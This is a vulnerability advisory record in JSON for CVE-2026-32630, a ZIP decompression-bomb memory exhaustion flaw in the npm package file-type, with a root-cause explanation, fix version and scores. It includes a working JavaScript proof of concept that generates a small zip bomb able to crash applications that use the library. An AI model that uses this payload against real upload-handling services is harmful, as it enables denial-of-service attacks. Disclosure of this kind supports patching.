{"id":"CVE-2026-32630","aliases":["CVE-2026-32630","GHSA-j47w-4g3g-c36v"],"related":[],"kind":"vulnerability","state":"published","title":"file-type affected by ZIP Decompression Bomb DoS via [Content_Types].xml entry","summary":"file-type detects the file type of a file, stream, or data. From 20.0.0 to 21.3.1, a crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile(). The ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. This vulnerability is fixed in 21.3.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"file-type detects the file type of a file, stream, or data. From 20.0.0 to 21.3.1, a crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile(). The ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. This vulnerability is fixed in 21.3.2.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from 'file-type';\nimport archiver from 'archiver';\nimport {Writable} from 'node:stream';\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) => {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver('zip', {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on('finish', () => {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on('error', reject);\n\n\t\tconst xmlPrefix = '<?xml version=\"1.0\"?><Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">';\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1","format":"markdown","source":"ghsa"},{"lang":"es","text":"file-type detecta el tipo de archivo de un archivo, flujo o datos. Desde 20.0.0 hasta 21.3.1, un archivo ZIP manipulado puede provocar un crecimiento excesivo de la memoria durante la detección de tipo en file-type al usar fileTypeFromBuffer(), fileTypeFromBlob() o fileTypeFromFile(). El límite de salida de descompresión ZIP se aplica para la detección basada en flujo, pero no para entradas de tamaño conocido. Como resultado, un ZIP comprimido pequeño puede hacer que file-type descomprima y procese una carga útil mucho mayor mientras sondea formatos basados en ZIP como OOXML. Esta vulnerabilidad está corregida en 21.3.2.","source":"nvd"}],"published":"2026-03-13T20:54:16.960Z","modified":"2026-09-10T03:50:39.741Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-400","CWE-409"],"affected":[{"ranges":[{"version":">= 20.0.0, < 21.3.2","status":"affected"}],"vendor":"sindresorhus","product":"file-type","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"20.0.0","status":"affected","fixed":"21.3.2"}],"ecosystem":"npm","package":"file-type","purl":"pkg:npm/file-type","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"20.0.0","fixed":"21.3.2"}],"vendor":"sindresorhus","product":"file-type","cpe":"cpe:2.3:a:sindresorhus:file-type:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32630","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/sindresorhus/file-type","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/sindresorhus/file-type/releases/tag/v21.3.2","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-16T16:59:32.922Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32630","url":"https://www.cve.org/CVERecord?id=CVE-2026-32630","licence":"CVE Terms of Use","modified":"2026-03-16T16:59:36.473Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j47w-4g3g-c36v","url":"https://github.com/advisories/GHSA-j47w-4g3g-c36v","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:39.741Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32630","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32630","licence":"Public domain","modified":"2026-06-17T10:36:07.973Z"}],"updatedAt":"2026-11-25T22:59:15.959Z","epss":{"score":0.00501,"percentile":0.3593,"date":"2026-11-30T12:00:22.000Z"}}